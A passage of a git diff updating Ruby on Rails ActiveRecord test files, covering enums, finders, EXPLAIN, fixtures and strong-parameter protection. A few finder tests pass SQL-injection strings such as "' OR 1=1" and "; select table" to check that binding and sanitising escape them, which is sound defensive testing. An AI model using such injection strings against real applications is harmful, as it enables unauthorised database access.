'published'], @book.changes[:status] + old_language = @book.language + @book.status = :proposed + @book.language = :spanish + assert_equal [old_status, 'proposed'], @book.changes[:status] + assert_equal [old_language, 'spanish'], @book.changes[:language] end test "enum attribute was" do old_status = @book.status + old_language = @book.language @book.status = :published + @book.language = :spanish assert_equal old_status, @book.attribute_was(:status) + assert_equal old_language, @book.attribute_was(:language) end test "enum attribute changed" do - @book.status = :published + @book.status = :proposed + @book.language = :french assert @book.attribute_changed?(:status) + assert @book.attribute_changed?(:language) end test "enum attribute changed to" do - @book.status = :published - assert @book.attribute_changed?(:status, to: 'published') + @book.status = :proposed + @book.language = :french + assert @book.attribute_changed?(:status, to: 'proposed') + assert @book.attribute_changed?(:language, to: 'french') end test "enum attribute changed from" do old_status = @book.status - @book.status = :published + old_language = @book.language + @book.status = :proposed + @book.language = :french assert @book.attribute_changed?(:status, from: old_status) + assert @book.attribute_changed?(:language, from: old_language) end test "enum attribute changed from old status to new status" do old_status = @book.status - @book.status = :published - assert @book.attribute_changed?(:status, from: old_status, to: 'published') + old_language = @book.language + @book.status = :proposed + @book.language = :french + assert @book.attribute_changed?(:status, from: old_status, to: 'proposed') + assert @book.attribute_changed?(:language, from: old_language, to: 'french') end test "enum didn't change" do @@ -141,7 +174,7 @@ class EnumTest < ActiveRecord::TestCase end test "persist changes that are dirty" do - @book.status = :published + @book.status = :proposed assert @book.attribute_changed?(:status) @book.status = :written assert @book.attribute_changed?(:status) @@ -149,7 +182,7 @@ class EnumTest < ActiveRecord::TestCase test "reverted changes that are not dirty" do old_status = @book.status - @book.status = :published + @book.status = :proposed assert @book.attribute_changed?(:status) @book.status = old_status assert_not @book.attribute_changed?(:status) @@ -201,18 +234,22 @@ class EnumTest < ActiveRecord::TestCase test "building new objects with enum scopes" do assert Book.written.build.written? assert Book.read.build.read? + assert Book.in_spanish.build.in_spanish? + assert Book.illustrator_visibility_invisible.build.illustrator_visibility_invisible? end test "creating new objects with enum scopes" do assert Book.written.create.written? assert Book.read.create.read? + assert Book.in_spanish.create.in_spanish? + assert Book.illustrator_visibility_invisible.create.illustrator_visibility_invisible? end test "_before_type_cast returns the enum label (required for form fields)" do if @book.status_came_from_user? - assert_equal "proposed", @book.status_before_type_cast + assert_equal "published", @book.status_before_type_cast else - assert_equal "proposed", @book.status + assert_equal "published", @book.status end end @@ -355,4 +392,33 @@ class EnumTest < ActiveRecord::TestCase book2 = klass.single.create! assert book2.single? end + + test "query state by predicate with prefix" do + assert @book.author_visibility_visible? + assert_not @book.author_visibility_invisible? + assert @book.illustrator_visibility_visible? + assert_not @book.illustrator_visibility_invisible? + end + + test "query state by predicate with custom prefix" do + assert @book.in_english? + assert_not @book.in_spanish? + assert_not @book.in_french? + end + + test "uses default status when no status is provided in fixtures" do + book = books(:tlg) + assert book.proposed?, "expected fixture to default to proposed status" + assert book.in_english?, "expected fixture to default to english language" + end + + test "uses default value from database on initialization" do + book = Book.new + assert book.proposed? + end + + test "uses default value from database on initialization when using custom mapping" do + book = Book.new + assert book.hard? + end end diff --git a/activerecord/test/cases/errors_test.rb b/activerecord/test/cases/errors_test.rb new file mode 100644 index 0000000000..0711a372f2 --- /dev/null +++ b/activerecord/test/cases/errors_test.rb @@ -0,0 +1,16 @@ +require_relative "../cases/helper" + +class ErrorsTest < ActiveRecord::TestCase + def test_can_be_instantiated_with_no_args + base = ActiveRecord::ActiveRecordError + error_klasses = ObjectSpace.each_object(Class).select { |klass| klass < base } + + error_klasses.each do |error_klass| + begin + error_klass.new.inspect + rescue ArgumentError + raise "Instance of #{error_klass} can't be initialized with no arguments" + end + end + end +end diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb index 8de2ddb10d..2dee8a26a5 100644 --- a/activerecord/test/cases/explain_subscriber_test.rb +++ b/activerecord/test/cases/explain_subscriber_test.rb @@ -48,6 +48,11 @@ if ActiveRecord::Base.connection.supports_explain? assert queries.empty? end + def test_collects_cte_queries + SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'with s as (values(3)) select 1 from s') + assert_equal 1, queries.size + end + teardown do ActiveRecord::ExplainRegistry.reset end diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb index f1d5511bb8..64dfd86ce2 100644 --- a/activerecord/test/cases/explain_test.rb +++ b/activerecord/test/cases/explain_test.rb @@ -39,38 +39,49 @@ if ActiveRecord::Base.connection.supports_explain? binds = [[], []] queries = sqls.zip(binds) - connection.stubs(:explain).returns('query plan foo', 'query plan bar') - expected = sqls.map {|sql| "EXPLAIN for: #{sql}\nquery plan #{sql}"}.join("\n") - assert_equal expected, base.exec_explain(queries) + stub_explain_for_query_plans do + expected = sqls.map {|sql| "EXPLAIN for: #{sql}\nquery plan #{sql}"}.join("\n") + assert_equal expected, base.exec_explain(queries) + end end def test_exec_explain_with_binds - cols = [Object.new, Object.new] - cols[0].expects(:name).returns('wadus') - cols[1].expects(:name).returns('chaflan') + object = Struct.new(:name) + cols = [object.new('wadus'), object.new('chaflan')] sqls = %w(foo bar) binds = [[[cols[0], 1]], [[cols[1], 2]]] queries = sqls.zip(binds) - connection.stubs(:explain).returns("query plan foo\n", "query plan bar\n") - expected = <<-SQL.strip_heredoc - EXPLAIN for: #{sqls[0]} [["wadus", 1]] - query plan foo + stub_explain_for_query_plans(["query plan foo\n", "query plan bar\n"]) do + expected = <<-SQL.strip_heredoc + EXPLAIN for: #{sqls[0]} [["wadus", 1]] + query plan foo - EXPLAIN for: #{sqls[1]} [["chaflan", 2]] - query plan bar - SQL - assert_equal expected, base.exec_explain(queries) + EXPLAIN for: #{sqls[1]} [["chaflan", 2]] + query plan bar + SQL + assert_equal expected, base.exec_explain(queries) + end end def test_unsupported_connection_adapter - connection.stubs(:supports_explain?).returns(false) + connection.stub(:supports_explain?, false) do + assert_not_called(base.logger, :warn) do + Car.where(:name => 'honda').to_a + end + end + end - base.logger.expects(:warn).never + private - Car.where(:name => 'honda').to_a - end + def stub_explain_for_query_plans(query_plans = ['query plan foo', 'query plan bar']) + explain_called = 0 + + connection.stub(:explain, proc{ explain_called += 1; query_plans[explain_called - 1] }) do + yield + end + end end end diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb index 39308866ee..374a8ba199 100644 --- a/activerecord/test/cases/finder_test.rb +++ b/activerecord/test/cases/finder_test.rb @@ -19,7 +19,7 @@ require 'models/car' require 'models/tyre' class FinderTest < ActiveRecord::TestCase - fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations, :cars + fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :author_addresses, :customers, :categories, :categorizations, :cars def test_find_by_id_with_hash assert_raises(ActiveRecord::StatementInvalid) do @@ -43,11 +43,80 @@ class FinderTest < ActiveRecord::TestCase end assert_equal "should happen", exception.message - assert_nothing_raised(RuntimeError) do + assert_nothing_raised do Topic.all.find(-> { raise "should not happen" }) { |e| e.title == topics(:first).title } end end + def test_find_with_ids_returning_ordered + records = Topic.find([4,2,5]) + assert_equal 'The Fourth Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + + records = Topic.find(4,2,5) + assert_equal 'The Fourth Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + + records = Topic.find(['4','2','5']) + assert_equal 'The Fourth Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + + records = Topic.find('4','2','5') + assert_equal 'The Fourth Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + end + + def test_find_with_ids_and_order_clause + # The order clause takes precedence over the informed ids + records = Topic.order(:author_name).find([5,3,1]) + assert_equal 'The Third Topic of the day', records[0].title + assert_equal 'The First Topic', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + + records = Topic.order(:id).find([5,3,1]) + assert_equal 'The First Topic', records[0].title + assert_equal 'The Third Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + end + + def test_find_with_ids_with_limit_and_order_clause + # The order clause takes precedence over the informed ids + records = Topic.limit(2).order(:id).find([5,3,1]) + assert_equal 2, records.size + assert_equal 'The First Topic', records[0].title + assert_equal 'The Third Topic of the day', records[1].title + end + + def test_find_with_ids_and_limit + records = Topic.limit(3).find([3,2,5,1,4]) + assert_equal 3, records.size + assert_equal 'The Third Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + end + + def test_find_with_ids_where_and_limit + # Please note that Topic 1 is the only not approved so + # if it were among the first 3 it would raise an ActiveRecord::RecordNotFound + records = Topic.where(approved: true).limit(3).find([3,2,5,1,4]) + assert_equal 3, records.size + assert_equal 'The Third Topic of the day', records[0].title + assert_equal 'The Second Topic of the day', records[1].title + assert_equal 'The Fifth Topic of the day', records[2].title + end + + def test_find_with_ids_and_offset + records = Topic.offset(2).find([3,2,5,1,4]) + assert_equal 3, records.size + assert_equal 'The Fifth Topic of the day', records[0].title + assert_equal 'The First Topic', records[1].title + assert_equal 'The Fourth Topic of the day', records[2].title + end + def test_find_passing_active_record_object_is_deprecated assert_deprecated do Topic.find(Topic.last) @@ -105,7 +174,7 @@ class FinderTest < ActiveRecord::TestCase end def test_exists_fails_when_parameter_has_invalid_type - assert_raises(RangeError) do + assert_raises(ActiveModel::RangeError) do assert_equal false, Topic.exists?(("9"*53).to_i) # number that's bigger than int end assert_equal false, Topic.exists?("foo") @@ -178,8 +247,9 @@ class FinderTest < ActiveRecord::TestCase end def test_exists_does_not_instantiate_records - Developer.expects(:instantiate).never - Developer.exists? + assert_not_called(Developer, :instantiate) do + Developer.exists? + end end def test_find_by_array_of_one_id @@ -194,7 +264,9 @@ class FinderTest < ActiveRecord::TestCase def test_find_by_ids_with_limit_and_offset assert_equal 2, Entrant.limit(2).find([1,3,2]).size - assert_equal 1, Entrant.limit(3).offset(2).find([1,3,2]).size + entrants = Entrant.limit(3).offset(2).find([1,3,2]) + assert_equal 1, entrants.size + assert_equal 'Ruby Guru', entrants.first.name # Also test an edge case: If you have 11 results, and you set a # limit of 3 and offset of 9, then you should find that there @@ -202,6 +274,8 @@ class FinderTest < ActiveRecord::TestCase devs = Developer.all last_devs = Developer.limit(3).offset(9).find devs.map(&:id) assert_equal 2, last_devs.size + assert_equal 'fixture_10', last_devs[0].name + assert_equal 'Jamis', last_devs[1].name end def test_find_with_large_number @@ -264,6 +338,12 @@ class FinderTest < ActiveRecord::TestCase assert_equal [Account], accounts.collect(&:class).uniq end + def test_find_by_association_subquery + author = authors(:david) + assert_equal author.post, Post.find_by(author: Author.where(id: author)) + assert_equal author.post, Post.find_by(author_id: Author.where(id: author)) + end + def test_take assert_equal topics(:first), Topic.take end @@ -406,6 +486,66 @@ class FinderTest < ActiveRecord::TestCase end end + def test_second_to_last + assert_equal topics(:fourth).title, Topic.second_to_last.title + + # test with offset + assert_equal topics(:fourth), Topic.offset(1).second_to_last + assert_equal topics(:fourth), Topic.offset(2).second_to_last + assert_equal topics(:fourth), Topic.offset(3).second_to_last + assert_equal nil, Topic.offset(4).second_to_last + assert_equal nil, Topic.offset(5).second_to_last + + #test with limit + # assert_equal nil, Topic.limit(1).second # TODO: currently failing + assert_equal nil, Topic.limit(1).second_to_last + end + + def test_second_to_last_have_primary_key_order_by_default + expected = topics(:fourth) + expected.touch # PostgreSQL changes the default order if no order clause is used + assert_equal expected, Topic.second_to_last + end + + def test_model_class_responds_to_second_to_last_bang + assert Topic.second_to_last! + Topic.delete_all + assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do + Topic.second_to_last! + end + end + + def test_third_to_last + assert_equal topics(:third).title, Topic.third_to_last.title + + # test with offset + assert_equal topics(:third), Topic.offset(1).third_to_last + assert_equal topics(:third), Topic.offset(2).third_to_last + assert_equal nil, Topic.offset(3).third_to_last + assert_equal nil, Topic.offset(4).third_to_last + assert_equal nil, Topic.offset(5).third_to_last + + # test with limit + # assert_equal nil, Topic.limit(1).third # TODO: currently failing + assert_equal nil, Topic.limit(1).third_to_last + # assert_equal nil, Topic.limit(2).third # TODO: currently failing + assert_equal nil, Topic.limit(2).third_to_last + end + + def test_third_to_last_have_primary_key_order_by_default + expected = topics(:third) + expected.touch # PostgreSQL changes the default order if no order clause is used + assert_equal expected, Topic.third_to_last + end + + def test_model_class_responds_to_third_to_last_bang + assert Topic.third_to_last! + Topic.delete_all + assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do + Topic.third_to_last! + end + end + def test_last_bang_present assert_nothing_raised do assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last! @@ -427,25 +567,53 @@ class FinderTest < ActiveRecord::TestCase end def test_take_and_first_and_last_with_integer_should_use_sql_limit - assert_sql(/LIMIT 3|ROWNUM <= 3/) { Topic.take(3).entries } - assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries } - assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries } + assert_sql(/LIMIT|ROWNUM <=/) { Topic.take(3).entries } + assert_sql(/LIMIT|ROWNUM <=/) { Topic.first(2).entries } + assert_sql(/LIMIT|ROWNUM <=/) { Topic.last(5).entries } end def test_last_with_integer_and_order_should_keep_the_order assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2) end - def test_last_with_integer_and_order_should_not_use_sql_limit - query = assert_sql { Topic.order("title").last(5).entries } - assert_equal 1, query.length - assert_no_match(/LIMIT/, query.first) + def test_last_with_integer_and_order_should_use_sql_limit + relation = Topic.order("title") + assert_queries(1) { relation.last(5) } + assert !relation.loaded? + end + + def test_last_with_integer_and_reorder_should_use_sql_limit + relation = Topic.reorder("title") + assert_queries(1) { relation.last(5) } + assert !relation.loaded? + end + + def test_last_on_loaded_relation_should_not_use_sql + relation = Topic.limit(10).load + assert_no_queries do + relation.last + relation.last(2) + end + end + + def test_last_with_irreversible_order + assert_deprecated do + Topic.order("coalesce(author_name, title)").last + end end - def test_last_with_integer_and_reorder_should_not_use_sql_limit - query = assert_sql { Topic.reorder("title").last(5).entries } - assert_equal 1, query.length - assert_no_match(/LIMIT/, query.first) + def test_last_on_relation_with_limit_and_offset + post = posts('sti_comments') + + comments = post.comments.order(id: :asc) + assert_equal comments.limit(2).to_a.last, comments.limit(2).last + assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2) + assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3) + + comments = comments.offset(1) + assert_equal comments.limit(2).to_a.last, comments.limit(2).last + assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2) + assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3) end def test_take_and_first_and_last_with_integer_should_return_an_array @@ -484,11 +652,16 @@ class FinderTest < ActiveRecord::TestCase assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) } end - def test_find_on_hash_conditions_with_explicit_table_name + def test_find_on_hash_conditions_with_qualified_attribute_dot_notation_string assert Topic.where('topics.approved' => false).find(1) assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true).find(1) } end + def test_find_on_hash_conditions_with_qualified_attribute_dot_notation_symbol + assert Topic.where('topics.approved': false).find(1) + assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved': true).find(1) } + end + def test_find_on_hash_conditions_with_hashed_table_name assert Topic.where(topics: { approved: false }).find(1) assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) } @@ -699,90 +872,13 @@ class FinderTest < ActiveRecord::TestCase assert Company.where(["name = :name", {name: "37signals' go'es agains"}]).first end - def test_bind_arity - assert_nothing_raised { bind '' } - assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 } - - assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' } - assert_nothing_raised { bind '?', 1 } - assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1 } - end - def test_named_bind_variables - assert_equal '1', bind(':a', :a => 1) # ' ruby-mode - assert_equal '1 1', bind(':a :a', :a => 1) # ' ruby-mode - - assert_nothing_raised { bind("'+00:00'", :foo => "bar") } - assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first assert_nil Company.where(["name = :name", { name: "37signals!" }]).first assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on end - class SimpleEnumerable - include Enumerable - - def initialize(ary) - @ary = ary - end - - def each(&b) - @ary.each(&b) - end - end - - def test_bind_enumerable - quoted_abc = %(#{ActiveRecord::Base.connection.quote('a')},#{ActiveRecord::Base.connection.quote('b')},#{ActiveRecord::Base.connection.quote('c')}) - - assert_equal '1,2,3', bind('?', [1, 2, 3]) - assert_equal quoted_abc, bind('?', %w(a b c)) - - assert_equal '1,2,3', bind(':a', :a => [1, 2, 3]) - assert_equal quoted_abc, bind(':a', :a => %w(a b c)) # ' - - assert_equal '1,2,3', bind('?', SimpleEnumerable.new([1, 2, 3])) - assert_equal quoted_abc, bind('?', SimpleEnumerable.new(%w(a b c))) - - assert_equal '1,2,3', bind(':a', :a => SimpleEnumerable.new([1, 2, 3])) - assert_equal quoted_abc, bind(':a', :a => SimpleEnumerable.new(%w(a b c))) # ' - end - - def test_bind_empty_enumerable - quoted_nil = ActiveRecord::Base.connection.quote(nil) - assert_equal quoted_nil, bind('?', []) - assert_equal " in (#{quoted_nil})", bind(' in (?)', []) - assert_equal "foo in (#{quoted_nil})", bind('foo in (?)', []) - end - - def test_bind_empty_string - quoted_empty = ActiveRecord::Base.connection.quote('') - assert_equal quoted_empty, bind('?', '') - end - - def test_bind_chars - quoted_bambi = ActiveRecord::Base.connection.quote("Bambi") - quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper") - assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi") - assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper") - assert_equal "name=#{quoted_bambi}", bind('name=?', "Bambi".mb_chars) - assert_equal "name=#{quoted_bambi_and_thumper}", bind('name=?', "Bambi\nand\nThumper".mb_chars) - end - - def test_bind_record - o = Struct.new(:quoted_id).new(1) - assert_equal '1', bind('?', o) - - os = [o] * 3 - assert_equal '1,1,1', bind('?', os) - end - - def test_named_bind_with_postgresql_type_casts - l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') } - assert_nothing_raised(&l) - assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call - end - def test_string_sanitation assert_not_equal "'something ' 1=1'", ActiveRecord::Base.sanitize("something ' 1=1") assert_equal "'something; select table'", ActiveRecord::Base.sanitize("something; select table") @@ -947,7 +1043,6 @@ class FinderTest < ActiveRecord::TestCase end end - # http://dev.rubyonrails.org/ticket/6778 def test_find_ignores_previously_inserted_record Post.create!(:title => 'test', :body => 'it out') assert_equal [], Post.where(id: nil) @@ -991,10 +1086,13 @@ class FinderTest < ActiveRecord::TestCase end def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct - assert_equal 2, Post.includes(authors: :author_address).order('author_addresses.id DESC ').limit(2).to_a.size + assert_equal 2, Post.includes(authors: :author_address). + where.not(author_addresses: { id: nil }). + order('author_addresses.id DESC').limit(2).to_a.size assert_equal 3, Post.includes(author: :author_address, authors: :author_address). - order('author_addresses_authors.id DESC ').limit(3).to_a.size + where.not(author_addresses_authors: { id: nil }). + order('author_addresses_authors.id DESC').limit(3).to_a.size end def test_find_with_nil_inside_set_passed_for_one_attribute @@ -1053,7 +1151,7 @@ class FinderTest < ActiveRecord::TestCase end def test_finder_with_offset_string - assert_nothing_raised(ActiveRecord::StatementInvalid) { Topic.offset("3").to_a } + assert_nothing_raised { Topic.offset("3").to_a } end test "find_by with hash conditions returns the first matching record" do @@ -1124,14 +1222,6 @@ class FinderTest < ActiveRecord::TestCase end protected - def bind(statement, *vars) - if vars.first.is_a?(Hash) - ActiveRecord::Base.send(:replace_named_bind_variables, statement, vars.first) - else - ActiveRecord::Base.send(:replace_bind_variables, statement, vars) - end - end - def table_with_custom_primary_key yield(Class.new(Toy) do def self.name diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb index 92efa8aca7..e64b90507e 100644 --- a/activerecord/test/cases/fixture_set/file_test.rb +++ b/activerecord/test/cases/fixture_set/file_test.rb @@ -123,6 +123,24 @@ END end end + def test_removes_fixture_config_row + File.open(::File.join(FIXTURES_ROOT, 'other_posts.yml')) do |fh| + assert_equal(['second_welcome'], fh.each.map { |name, _| name }) + end + end + + def test_extracts_model_class_from_config_row + File.open(::File.join(FIXTURES_ROOT, 'other_posts.yml')) do |fh| + assert_equal 'Post', fh.model_class + end + end + + def test_erb_filename + filename = 'filename.yaml' + erb = File.new(filename).send(:prepare_erb, "<% Rails.env %>\n") + assert_equal erb.filename, filename + end + private def tmp_yaml(name, contents) t = Tempfile.new name diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb index f8acdcb51e..da934ab8fe 100644 --- a/activerecord/test/cases/fixtures_test.rb +++ b/activerecord/test/cases/fixtures_test.rb @@ -7,11 +7,12 @@ require 'models/binary' require 'models/book' require 'models/bulb' require 'models/category' +require 'models/comment' require 'models/company' require 'models/computer' require 'models/course' require 'models/developer' -require 'models/computer' +require 'models/doubloon' require 'models/joke' require 'models/matey' require 'models/parrot' @@ -183,7 +184,6 @@ class FixturesTest < ActiveRecord::TestCase end def test_fixtures_from_root_yml_with_instantiation - # assert_equal 2, @accounts.size assert_equal 50, @unknown.credit_limit end @@ -216,6 +216,17 @@ class FixturesTest < ActiveRecord::TestCase end end + def test_yaml_file_with_invalid_column + e = assert_raise(ActiveRecord::Fixture::FixtureError) do + ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "parrots") + end + assert_equal(%(table "parrots" has no column named "arrr".), e.message) + end + + def test_yaml_file_with_symbol_columns + ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "trees") + end + def test_omap_fixtures assert_nothing_raised do fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', Category, FIXTURES_ROOT + "/categories_ordered") @@ -251,18 +262,19 @@ class FixturesTest < ActiveRecord::TestCase def test_fixtures_are_set_up_with_database_env_variable db_url_tmp = ENV['DATABASE_URL'] ENV['DATABASE_URL'] = "sqlite3::memory:" - ActiveRecord::Base.stubs(:configurations).returns({}) - test_case = Class.new(ActiveRecord::TestCase) do - fixtures :accounts + ActiveRecord::Base.stub(:configurations, {}) do + test_case = Class.new(ActiveRecord::TestCase) do + fixtures :accounts - def test_fixtures - assert accounts(:signals37) + def test_fixtures + assert accounts(:signals37) + end end - end - result = test_case.new(:test_fixtures).run + result = test_case.new(:test_fixtures).run - assert result.passed?, "Expected #{result.name} to pass:\n#{result}" + assert result.passed?, "Expected #{result.name} to pass:\n#{result}" + end ensure ENV['DATABASE_URL'] = db_url_tmp end @@ -279,10 +291,10 @@ class HasManyThroughFixture < ActiveSupport::TestCase treasure = make_model "Treasure" pt.table_name = "parrots_treasures" - pt.belongs_to :parrot, :class => parrot - pt.belongs_to :treasure, :class => treasure + pt.belongs_to :parrot, :anonymous_class => parrot + pt.belongs_to :treasure, :anonymous_class => treasure - parrot.has_many :parrot_treasures, :class => pt + parrot.has_many :parrot_treasures, :anonymous_class => pt parrot.has_many :treasures, :through => :parrot_treasures parrots = File.join FIXTURES_ROOT, 'parrots' @@ -297,10 +309,10 @@ class HasManyThroughFixture < ActiveSupport::TestCase parrot = make_model "Parrot" treasure = make_model "Treasure" - pt.belongs_to :parrot, :class => parrot - pt.belongs_to :treasure, :class => treasure + pt.belongs_to :parrot, :anonymous_class => parrot + pt.belongs_to :treasure, :anonymous_class => treasure - parrot.has_many :parrot_treasures, :class => pt + parrot.has_many :parrot_treasures, :anonymous_class => pt parrot.has_many :treasures, :through => :parrot_treasures parrots = File.join FIXTURES_ROOT, 'parrots' @@ -400,9 +412,11 @@ class FixturesWithoutInstantiationTest < ActiveRecord::TestCase end def test_reloading_fixtures_through_accessor_methods + topic = Struct.new(:title) assert_equal "The First Topic", topics(:first).title - @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!")) - assert_equal "Fresh Topic!", topics(:first, true).title + assert_called(@loaded_fixtures['topics']['first'], :find, returns: topic.new("Fresh Topic!")) do + assert_equal "Fresh Topic!", topics(:first, true).title + end end end @@ -506,6 +520,38 @@ class OverRideFixtureMethodTest < ActiveRecord::TestCase end end +class FixtureWithSetModelClassTest < ActiveRecord::TestCase + fixtures :other_posts, :other_comments + + # Set to false to blow away fixtures cache and ensure our fixtures are loaded + # and thus takes into account the +set_model_class+. + self.use_transactional_tests = false + + def test_uses_fixture_class_defined_in_yaml + assert_kind_of Post, other_posts(:second_welcome) + end + + def test_loads_the_associations_to_fixtures_with_set_model_class + post = other_posts(:second_welcome) + comment = other_comments(:second_greetings) + assert_equal [comment], post.comments + assert_equal post, comment.post + end +end + +class SetFixtureClassPrevailsTest < ActiveRecord::TestCase + set_fixture_class bad_posts: Post + fixtures :bad_posts + + # Set to false to blow away fixtures cache and ensure our fixtures are loaded + # and thus takes into account the +set_model_class+. + self.use_transactional_tests = false + + def test_uses_set_fixture_class + assert_kind_of Post, bad_posts(:bad_welcome) + end +end + class CheckSetTableNameFixturesTest < ActiveRecord::TestCase set_fixture_class :funny_jokes => Joke fixtures :funny_jokes @@ -691,7 +737,7 @@ end class FoxyFixturesTest < ActiveRecord::TestCase fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, - :developers, :"admin/accounts", :"admin/users", :live_parrots, :dead_parrots + :developers, :"admin/accounts", :"admin/users", :live_parrots, :dead_parrots, :books if ActiveRecord::Base.connection.adapter_name == 'PostgreSQL' require 'models/uuid_parent' @@ -841,6 +887,13 @@ class FoxyFixturesTest < ActiveRecord::TestCase assert admin_accounts(:signals37).users.include?(admin_users(:david)) assert_equal 2, admin_accounts(:signals37).users.size end + + def test_resolves_enums + assert books(:awdr).published? + assert books(:awdr).read? + assert books(:rfr).proposed? + assert books(:ddd).published? + end end class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase @@ -896,3 +949,26 @@ class FixturesWithDefaultScopeTest < ActiveRecord::TestCase assert_equal "special", bulbs(:special).name end end + +class FixturesWithAbstractBelongsTo < ActiveRecord::TestCase + fixtures :pirates, :doubloons + + test "creates fixtures with belongs_to associations defined in abstract base classes" do + assert_not_nil doubloons(:blackbeards_doubloon) + assert_equal pirates(:blackbeard), doubloons(:blackbeards_doubloon).pirate + end +end + +class FixtureClassNamesTest < ActiveRecord::TestCase + def setup + @saved_cache = self.fixture_class_names.dup + end + + def teardown + self.fixture_class_names.replace(@saved_cache) + end + + test "fixture_class_names returns nil for unregistered identifier" do + assert_nil self.fixture_class_names['unregistered_identifier'] + end +end diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb index f4e7646f03..91921469b8 100644 --- a/activerecord/test/cases/forbidden_attributes_protection_test.rb +++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb @@ -1,14 +1,20 @@ require 'cases/helper' require 'active_support/core_ext/hash/indifferent_access' -require 'models/person' + require 'models/company' +require 'models/person' +require 'models/ship' +require 'models/ship_part' +require 'models/treasure' -class ProtectedParams < ActiveSupport::HashWithIndifferentAccess +class ProtectedParams attr_accessor :permitted alias :permitted? :permitted + delegate :keys, :key?, :has_key?, :empty?, to: :@parameters + def initialize(attributes) - super(attributes) + @parameters = attributes.with_indifferent_access @permitted = false end @@ -17,6 +23,18 @@ class ProtectedParams < ActiveSupport::HashWithIndifferentAccess self end + def [](key) + @parameters[key] + end + + def to_h + @parameters + end + + def stringify_keys + dup + end + def dup super.tap do |duplicate| duplicate.instance_variable_set :@permitted, @permitted @@ -75,6 +93,13 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase end end + def test_create_with_works_with_permitted_params + params = ProtectedParams.new(first_name: 'Guille').permit! + + person = Person.create_with(params).create! + assert_equal 'Guille', person.first_name + end + def test_create_with_works_with_params_values params = ProtectedParams.new(first_name: 'Guille') @@ -90,10 +115,51 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase end end + def test_where_works_with_permitted_params + params = ProtectedParams.new(first_name: 'Guille').permit! + + person = Person.where(params).create! + assert_equal 'Guille', person.first_name + end + def test_where_works_with_params_values params = ProtectedParams.new(first_name: 'Guille') person = Person.where(first_name: params[:first_name]).create! assert_equal 'Guille', person.first_name end + + def test_where_not_checks_permitted + params = ProtectedParams.new(first_name: 'Guille', gender: 'm') + + assert_raises(ActiveModel::ForbiddenAttributesError) do + Person.where().not(params) + end + end + + def test_where_not_works_with_permitted_params + params = ProtectedParams.new(first_name: 'Guille').permit! + Person.create!(params) + assert_empty Person.where.not(params).select {|p| p.first_name == 'Guille' } + end + + def test_strong_params_style_objects_work_with_singular_associations + params = ProtectedParams.new( name: "Stern", ship_attributes: ProtectedParams.new(name: "The Black Rock").permit!).permit! + part = ShipPart.new(params) + + assert_equal "Stern", part.name + assert_equal "The Black Rock", part.ship.name + end + + def test_strong_params_style_objects_work_with_collection_associations + params = ProtectedParams.new( + trinkets_attributes: ProtectedParams.new( + "0" => ProtectedParams.new(name: "Necklace").permit!, + "1" => 